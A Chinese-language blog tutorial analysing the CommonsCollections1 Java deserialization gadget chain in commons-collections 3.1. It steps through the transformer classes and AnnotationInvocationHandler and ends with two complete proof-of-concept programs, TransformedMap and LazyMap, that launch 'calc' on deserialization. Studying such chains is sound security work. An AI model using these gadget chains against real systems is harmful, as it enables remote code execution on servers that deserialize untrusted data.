• [Java反序列化]—CommonsCollections1


    环境 JAVA <71

    依赖写入POM.XML

    1. commons-collections
    2. commons-collections
    3. 3.1

    0x01:

    我是笨比,硬是学了 两天才审明白。 但是回头看 还是挺简单的。。

    TransformedMap

    直接看类中的decorate()方法,第一个参数就是要修饰的Map对象,第二个和第三个参数都是实现了Transformer接口的类的对象,分别用来转换Map的键和值。

    1. public class TransformedMap
    2. extends AbstractInputCheckedMapDecorator
    3. implements Serializable {
    4. public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    5. return new TransformedMap(map, keyTransformer, valueTransformer);
    6. }
    7. protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    8. super(map);
    9. this.keyTransformer = keyTransformer;
    10. this.valueTransformer = valueTransformer;
    11. }

    这里keyTransformer、valueTransformer是处理新元素的key、value的回调。即⼀个实现了Transformer接⼝的类。

    测试:

    1. import org.apache.commons.collections.Transformer;
    2. import org.apache.commons.collections.map.TransformedMap;
    3. import java.util.HashMap;
    4. import java.util.Map;
    5. public class Demo01 {
    6. public static void main(String[] args) {
    7. test1();
    8. }
    9. public static void printMap(Map map){
    10. for (Object entry: map.entrySet()){
    11. System.out.println(((Map.Entry)entry).getKey());
    12. System.out.println(((Map.Entry)entry).getValue());
    13. }
    14. }
    15. public static void test1(){
    16. Map innerMap = new HashMap();
    17. Map outerMap = TransformedMap.decorate(innerMap,new KeyTransformer(),new ValueTransformer());
    18. outerMap.put("key","value");
    19. printMap(outerMap);
    20. }
    21. }
    22. class KeyTransformer implements Transformer {
    23. @Override
    24. public Object transform(Object o) {
    25. System.out.println("KeyTransformer1");
    26. return "key1";
    27. }
    28. }
    29. class ValueTransformer implements Transformer{
    30. @Override
    31. public Object transform(Object o) {
    32. System.out.println("ValueTransformer");
    33. return "value";
    34. }
    35. }

    ConstantTransformer

    利用getInstance传值后,会通过transform将对象返回

    1. public class ConstantTransformer implements Transformer, Serializable {
    2. public static Transformer getInstance(Object constantToReturn) {
    3. if (constantToReturn == null) {
    4. return NULL_INSTANCE;
    5. }
    6. return new ConstantTransformer(constantToReturn);
    7. }
    8. public ConstantTransformer(Object constantToReturn) {
    9. super();
    10. iConstant = constantToReturn;
    11. }
    12. public Object transform(Object input) {
    13. return iConstant;
    14. }
    15. }

    测试

    1. import org.apache.commons.collections.functors.ConstantTransformer;
    2. import org.apache.commons.collections.map.TransformedMap;
    3. import java.util.HashMap;
    4. import java.util.Map;
    5. public class Demo02 {
    6. public static void main(String[] args) {
    7. test2();
    8. }
    9. public static void test2(){
    10. Map innerMap = new HashMap();
    11. Map outerMap = TransformedMap.decorate(innerMap,null,ConstantTransformer.getInstance("snowy"));
    12. outerMap.put("key","value");
    13. printMap(outerMap);
    14. }
    15. public static void printMap(Map map){
    16. for (Object entry: map.entrySet()){
    17. System.out.println(((Map.Entry)entry).getKey());
    18. System.out.println(((Map.Entry)entry).getValue());
    19. }
    20. }
    21. }

     InvokerTransformer

    简单的理解为用于反射,与 ConstantTransformer一样也有getInstance方法,有三个参数,第一个参数是方法名,第二个参数是该方法的所有传入参数的类型(Class),第三个参数就是要传入的参数列表。,分别传给InvokerTransformer进行实例化(这里getInstance方法没有列举)
     

    1. public class InvokerTransformer implements Transformer, Serializable {
    2. public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
    3. super();
    4. iMethodName = methodName;
    5. iParamTypes = paramTypes;
    6. iArgs = args;
    7. }
    8. public Object transform(Object input) {
    9. if (input == null) {
    10. return null;
    11. }
    12. try {
    13. Class cls = input.getClass();
    14. Method method = cls.getMethod(iMethodName, iParamTypes);
    15. return method.invoke(input, iArgs);
    16. } catch (NoSuchMethodException ex) {
    17. throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
    18. } catch (IllegalAccessException ex) {
    19. throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
    20. } catch (InvocationTargetException ex) {
    21. throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
    22. }
    23. }
    24. }

     测试

    1. import org.apache.commons.collections.functors.InvokerTransformer;
    2. import org.apache.commons.collections.map.TransformedMap;
    3. import java.util.HashMap;
    4. import java.util.Map;
    5. public class Demo03 {
    6. public static void main(String[] args) {
    7. test3();
    8. }
    9. public static void test3(){
    10. Map innerMap = new HashMap();
    11. Map outerMap = TransformedMap.decorate(innerMap,null,
    12. InvokerTransformer.getInstance("exec",new Class[]{String.class},new Object[]{"calc"}));
    13. outerMap.put("key",Runtime.getRuntime());
    14. }
    15. }

    ChainedTransformer

     类似于一种递归调用,传入object后,将本次得到的object作为下一次的传入值

    1. import org.apache.commons.collections.Transformer;
    2. import org.apache.commons.collections.functors.ChainedTransformer;
    3. import org.apache.commons.collections.functors.ConstantTransformer;
    4. import org.apache.commons.collections.functors.InvokerTransformer;
    5. import org.apache.commons.collections.map.TransformedMap;
    6. import java.util.HashMap;
    7. import java.util.Map;
    8. public class Demo04 {
    9. public static void main(String[] args) throws Exception {
    10. Transformer[] transformers = new Transformer[]{
    11. new ConstantTransformer(Runtime.getRuntime()),
    12. new InvokerTransformer("exec",
    13. new Class[]{String.class},
    14. new Object[]{"calc"})
    15. };
    16. ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    17. Map outerMap = TransformedMap.decorate(new HashMap(),null,chainedTransformer);
    18. outerMap.put("aaa","bbb");
    19. }
    20. }

     测试

    1. import org.apache.commons.collections.Transformer;
    2. import org.apache.commons.collections.functors.ChainedTransformer;
    3. import org.apache.commons.collections.functors.ConstantTransformer;
    4. import org.apache.commons.collections.functors.InvokerTransformer;
    5. import org.apache.commons.collections.map.TransformedMap;
    6. import java.util.HashMap;
    7. import java.util.Map;
    8. public class Demo04 {
    9. public static void main(String[] args) throws Exception {
    10. test4();
    11. }
    12. public static void test4(){
    13. //这里是定义数组
    14. Transformer[] transformers = new Transformer[]{
    15. new ConstantTransformer(Runtime.getRuntime()),
    16. new InvokerTransformer("exec",
    17. new Class[]{String.class},
    18. new Object[]{"calc"})
    19. };
    20. ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    21. Map outerMap = TransformedMap.decorate(new HashMap(),null,chainedTransformer);
    22. outerMap.put("aaa","bbb");
    23. }
    24. }

     

    TransformedMap链子分析

    此链 主要就是通过几个Transform 实现类完成的。

    主要的exec 利用 就是在 InvokerTransformer 类中开始的

    回溯法分析,先看transform方法,这里try{}中的内容进行了反射调用

    1. public Object transform(Object input) {
    2. if (input == null) {
    3. return null;
    4. }
    5. try {
    6. Class cls = input.getClass();
    7. Method method = cls.getMethod(iMethodName, iParamTypes);
    8. return method.invoke(input, iArgs);
    9. }
    在InvokerTransforme中参数iMethodName、iParamTypes、iArgs都可控,上边也提到过,第一个参数是方法名,第二个参数是该方法的所有传入参数的类型(Class),第三个参数就是要传入的参数列表
    1. public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
    2. super();
    3. iMethodName = methodName;
    4. iParamTypes = paramTypes;
    5. iArgs = args;
    6. }

    知道 三个参数可控就可以构造一个transform的利用方式了 。这里用了反射 和 InvokerTransformer 进行对比。

    1. public class cc1 {
    2. public static void main(String[] args) throws Exception {
    3. //反射
    4. Runtime runtime = Runtime.getRuntime();
    5. //Class c = Runtime.class;
    6. //Method execMethod = c.getMethod("exec", String.class);
    7. //execMethod.invoke(runtime,"calc");
    8. //InvokerTransformer
    9. new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime);
    10. }
    11. }

    我们的目标就是 new InvokerTransformer(方法).transform(对象) 来执行exec

    来看看谁调用了transform方法 

     往上查看valueTransformer参数,在TransformedMap中进行了调用,而decorate调用了TransformedMap方法,其中的三个参数前置中也有说过:第一个参数就是要修饰的Map对象,第二个和第三个参数都是实现了Transformer接口的类的对象,分别用来转换Map的键和值。

    1. public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    2. return new TransformedMap(map, keyTransformer, valueTransformer);
    3. }
    4. protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    5. super(map);
    6. this.keyTransformer = keyTransformer;
    7. this.valueTransformer = valueTransformer;
    8. }

    此时就可以通过decorate方法进行调用了

    1. public class test {
    2. public static void main(String[] args) throws Exception {
    3. InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
    4. HashMap map = new HashMap<>();
    5. TransformedMap.decorate(map, null, invokerTransformer);
    6. }
    7. }

    继续跟进查看谁调用了checkSetValue,在AbstractInputCheckedMapDecoratorsetValue方法中找到

    1. public Object setValue(Object value) {
    2. value = parent.checkSetValue(value);
    3. return entry.setValue(value);
    4. }

    继续跟进查看何处调用setValue,在AnnotationInvocationHandler中找到,并且该方法重写了readObject,至此整条链结束

    1. private void readObject(java.io.ObjectInputStream s)
    2. throws java.io.IOException, ClassNotFoundException {
    3. s.defaultReadObject();
    4. // Check to make sure that types have not evolved incompatibly
    5. AnnotationType annotationType = null;
    6. try {
    7. annotationType = AnnotationType.getInstance(type);
    8. } catch(IllegalArgumentException e) {
    9. // Class is no longer an annotation type; time to punch out
    10. throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
    11. }
    12. Map> memberTypes = annotationType.memberTypes();
    13. // If there are annotation members without values, that
    14. // situation is handled by the invoke method.
    15. for (Map.Entry memberValue : memberValues.entrySet()) {
    16. String name = memberValue.getKey();
    17. Class memberType = memberTypes.get(name);
    18. if (memberType != null) { // i.e. member still exists
    19. Object value = memberValue.getValue();
    20. if (!(memberType.isInstance(value) ||
    21. value instanceof ExceptionProxy)) {
    22. memberValue.setValue(
    23. new AnnotationTypeMismatchExceptionProxy(
    24. value.getClass() + "[" + value + "]").setMember(
    25. annotationType.members().get(name)));
    26. }
    27. }
    28. }
    29. }

    编写 POC前有四个问题

    Runtime未实现序列化


    此时在序列化后发现无法序列化,原因在于Runtime中未实现Serializable接口,这里就可以ChainedTransformer获取Runtime的Class类,因为Class类中实现了Serializable接口,先通过反射和InvokerTransformer用法引出ChainedTransformer
     

    1. //反射
    2. Class c = Runtime.class;
    3. Method getRuntimeMethod = c.getMethod("getRuntime", null);
    4. Object r = getRuntimeMethod.invoke(null, null); //静态无参方法所以都是null
    5. Method execMethod = c.getMethod("exec", String.class);
    6. execMethod.invoke(r,"calc");
    7. //InvokerTransformer
    8. Method getRuntimeMethod1 = (Method) new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
    9. Runtime r1 = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod1);
    10. new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r1);
    11. //ChainedTransformer
    12. Transformer[] transformers = new Transformer[]{
    13. new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}),
    14. new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
    15. new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
    16. };
    17. new ChainedTransformer(transformers).transform(Runtime.class);

    AnnotationInvocationHandler无法实例化

    在该类中需要通过构造器修改memberValue的值,从而执行memberValue.setValue,但该类没有public,所以默认是default,无法进行实例化

    1. class AnnotationInvocationHandler implements InvocationHandler, Serializable {
    2. private static final long serialVersionUID = 6182022883658399397L;
    3. private final Classextends Annotation> type;
    4. private final Map memberValues;
    5. AnnotationInvocationHandler(Classextends Annotation> type, Map memberValues) {
    6. this.type = type;
    7. this.memberValues = memberValues;
    8. }

    这里同样使用反射方式获取,这里的outerMap是构造好的Map对象

    1. //Reflection
    2. Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    3. Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);
    4. cons.setAccessible(true);
    5. Object o = cons.newInstance(Retention.class,outerMap);

    memberType 判断

    1. private void readObject(java.io.ObjectInputStream s)
    2. throws java.io.IOException, ClassNotFoundException {
    3. s.defaultReadObject();
    4. // Check to make sure that types have not evolved incompatibly
    5. AnnotationType annotationType = null;
    6. try {
    7. annotationType = AnnotationType.getInstance(type);
    8. } catch(IllegalArgumentException e) {
    9. // Class is no longer an annotation type; time to punch out
    10. throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
    11. }
    12. Map> memberTypes = annotationType.memberTypes();
    13. // If there are annotation members without values, that
    14. // situation is handled by the invoke method.
    15. for (Map.Entry memberValue : memberValues.entrySet()) {
    16. String name = memberValue.getKey();
    17. Class memberType = memberTypes.get(name);
    18. if (memberType != null) { // i.e. member still exists
    19. Object value = memberValue.getValue();
    20. if (!(memberType.isInstance(value) ||
    21. value instanceof ExceptionProxy)) {
    22. memberValue.setValue(
    23. new AnnotationTypeMismatchExceptionProxy(
    24. value.getClass() + "[" + value + "]").setMember(
    25. annotationType.members().get(name)));
    26. }
    27. }
    28. }
    29. }

    这里的

    if (memberType != null) {  // i.e. member still exists
    

    可以使用注解

    1. @Target(ElementType.ANNOTATION_TYPE)
    2. public @interface Target {
    3. ElementType[] value();
    4. }

    知道成员变量是value后再看,这里会获取我们传入map参数的key值,之后再在传入的memberType(注解)中获取该值,而注解中只有一个变量也就是value,所以只有当我们传入的map的key值为value时,便可通过get(name)成功获取,从而绕过null判断,所以这里通过put对key传参value即可——innerMap.put("value", "Sentiment");
     

    1. for (Map.Entry memberValue : memberValues.entrySet()) {
    2. String name = memberValue.getKey();
    3. Class memberType = memberTypes.get(name);

    setValue实参不可控

    除此外可以看到这里的setValue的值暂时不可控

    1. memberValue.setValue(
    2. new AnnotationTypeMismatchExceptionProxy(
    3. value.getClass() + "[" + value + "]").setMember(
    4. annotationType.members().get(name)));

    看下setValue方法

    1. public Object setValue(Object value) {
    2. value = parent.checkSetValue(value);
    3. return entry.setValue(value);
    4. }

    继续跟进checkSetValue方法,会调用valueTransformer的transform方法而参数value就是前边memberValue.setValue括号内容不可控,而valueTransformer可控

    1. protected Object checkSetValue(Object value) {
    2. return valueTransformer.transform(value);
    3. }

    这时候就联想到了前边说到的ConstantTransformer类,在实例化时调用构造器方法,传入的参数,会经过transform返回,所以如果通过该方法无论transform中的input是何值,都不会改变他return的内容

    1. public ConstantTransformer(Object constantToReturn) {
    2. super();
    3. iConstant = constantToReturn;
    4. }
    5. public Object transform(Object input) {
    6. return iConstant;
    7. }

    这里直接加上即可

    1. Transformer[] transformers = new Transformer[]{
    2. //----------加入的内容------------
    3. new ConstantTransformer(Runtime.class),
    4. //--------------------------------
    5. new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}),
    6. new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
    7. new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
    8. };
    9. new ChainedTransformer(transformers).transform(Runtime.class);

    POC

    1. package org.example;
    2. import org.apache.commons.collections.Transformer;
    3. import org.apache.commons.collections.functors.ChainedTransformer;
    4. import org.apache.commons.collections.functors.ConstantTransformer;
    5. import org.apache.commons.collections.functors.InvokerTransformer;
    6. import org.apache.commons.collections.map.LazyMap;
    7. import org.apache.commons.collections.map.TransformedMap;
    8. import java.io.*;
    9. import java.lang.annotation.Target;
    10. import java.lang.reflect.Constructor;
    11. import java.lang.reflect.InvocationTargetException;
    12. import java.util.HashMap;
    13. import java.util.List;
    14. import java.util.Map;
    15. public class cc1 {
    16. public static void main(String[] args) throws Exception {
    17. Transformer transformers[] = new Transformer[]{
    18. new ConstantTransformer(Runtime.class),
    19. new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime",new Class[]{}}),
    20. new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
    21. new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
    22. };
    23. ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    24. HashMap map = new HashMap<>();
    25. map.put("value","aaaa");
    26. Map outmap = TransformedMap.decorate(map, null, chainedTransformer);
    27. Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    28. Constructor cons = clazz.getDeclaredConstructor(Class.class, Map.class);
    29. cons.setAccessible(true);
    30. Object o = cons.newInstance(Target.class, outmap);
    31. serialize(o);
    32. unserialize("1.txt");
    33. }
    34. public static void serialize(Object obj) throws IOException {
    35. ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("1.txt"));
    36. out.writeObject(obj);
    37. }
    38. public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
    39. ObjectInputStream In = new ObjectInputStream(new FileInputStream(Filename));
    40. Object o = In.readObject();
    41. return o;
    42. }
    43. }

    LazyMap 链子

    了解了transformeMap ,来看CC1第二个链子.

     看下LazyMap 类的get

    在get 中 是 factory 调用的 transform(key)

    1. public Object get(Object key) {
    2. // create value for key if key is not currently in the map
    3. if (map.containsKey(key) == false) {
    4. Object value = factory.transform(key);
    5. map.put(key, value);
    6. return value;
    7. }
    8. return map.get(key);
    9. }

    所以就要先调用 

    1. public static Map decorate(Map map, Transformer factory) {
    2. return new LazyMap(map, factory);
    3. }

    来控制我们的 factory,decorate 会对factory进行赋值。

    1. protected LazyMap(Map map, Transformer factory) {
    2. super(map);
    3. if (factory == null) {
    4. throw new IllegalArgumentException("Factory must not be null");
    5. }
    6. this.factory = factory;
    7. }

    所以要将TransformMap的链进行修改

    1. //TransformMap
    2. Map outerMap = TransformedMap.decorate(innerMap, null, chainedTransformer);
    3. 改成:
    4. //LazyMap
    5. Map outerMap = LazyMap.decorate(innerMap,chainedTransformer);

    之后就是动态代理部分了,之所以会用到动态代理,就是因为LazyMap中,AnnotationInvocationHandlerreadObject里面并没有用到get(),但是在invoke()方法中却用到了:

    1. public Object invoke(Object proxy, Method method, Object[] args) {
    2. String member = method.getName();
    3. Class[] paramTypes = method.getParameterTypes();
    4. // Handle Object and Annotation methods
    5. if (member.equals("equals") && paramTypes.length == 1 &&
    6. paramTypes[0] == Object.class)
    7. return equalsImpl(args[0]);
    8. assert paramTypes.length == 0;
    9. if (member.equals("toString"))
    10. return toStringImpl();
    11. if (member.equals("hashCode"))
    12. return hashCodeImpl();
    13. if (member.equals("annotationType"))
    14. return type;
    15. // Handle annotation member accessors
    16. Object result = memberValues.get(member);
    17. if (result == null)
    18. throw new IncompleteAnnotationException(type, member);
    19. if (result instanceof ExceptionProxy)
    20. throw ((ExceptionProxy) result).generateException();
    21. if (result.getClass().isArray() && Array.getLength(result) != 0)
    22. result = cloneArray(result);
    23. return result;
    24. }

    所以现在的问题就是如何触发这个invoke方法,此时看到了AnnotationInvocationHandler类实现了InvocationHandler类,直接就会联想到前边说过的代理

    class AnnotationInvocationHandler implements InvocationHandler, Serializable {
    

    所以可以通过AnnotationInvocationHandler对构造的Map进行代理,这样在反序列化的过程中,只要调用了委托对象的任何方法,都会进入AnnotationInvocationHandlerinvoke方法中,从而调用get方法

    POC

    1. package org.example;
    2. import org.apache.commons.collections.Transformer;
    3. import org.apache.commons.collections.functors.ChainedTransformer;
    4. import org.apache.commons.collections.functors.ConstantTransformer;
    5. import org.apache.commons.collections.functors.InvokerTransformer;
    6. import org.apache.commons.collections.map.LazyMap;
    7. import org.apache.commons.collections.map.TransformedMap;
    8. import java.io.*;
    9. import java.lang.annotation.Target;
    10. import java.lang.reflect.Constructor;
    11. import java.lang.reflect.InvocationHandler;
    12. import java.lang.reflect.InvocationTargetException;
    13. import java.lang.reflect.Proxy;
    14. import java.util.HashMap;
    15. import java.util.List;
    16. import java.util.Map;
    17. public class cc1 {
    18. public static void main(String[] args) throws Exception {
    19. Transformer transformers[] = new Transformer[]{
    20. new ConstantTransformer(Runtime.class),
    21. new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime",new Class[]{}}),
    22. new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
    23. new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
    24. };
    25. ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    26. HashMap map = new HashMap<>();
    27. Map outmap = LazyMap.decorate(map, chainedTransformer);
    28. Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    29. Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
    30. constructor.setAccessible(true);
    31. InvocationHandler handler = (InvocationHandler)constructor.newInstance(Target.class, outmap);
    32. Map poxymap = (Map)Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
    33. Object o = constructor.newInstance(Target.class, poxymap);
    34. serialize(o);
    35. unserialize("1.txt");
    36. }
    37. public static void serialize(Object obj) throws IOException {
    38. ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("1.txt"));
    39. out.writeObject(obj);
    40. }
    41. public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
    42. ObjectInputStream In = new ObjectInputStream(new FileInputStream(Filename));
    43. Object o = In.readObject();
    44. return o;
    45. }
    46. }
     
    

  • 相关阅读:
    仿游戏热血江湖游戏类22(FLD_FJ_中级附魂)
    nginx关闭重启和配置检查
    STM32L4R9ZIY6P 高性能嵌入式-MCU 微控制器
    为什么要选择 Redis?
    触控笔哪个牌子好用?主动电容笔和被动电容笔的区别
    cemtos 超详细安装JDK并配置系统参数环境
    学习笔记(11)js事件
    算法设计与分析复习--回溯(一)
    C语言力扣刷题13——最大子数组和[线性动态规划]
    mysqldump常用操作示例/命令
  • 原文地址:https://blog.csdn.net/snowlyzz/article/details/127873307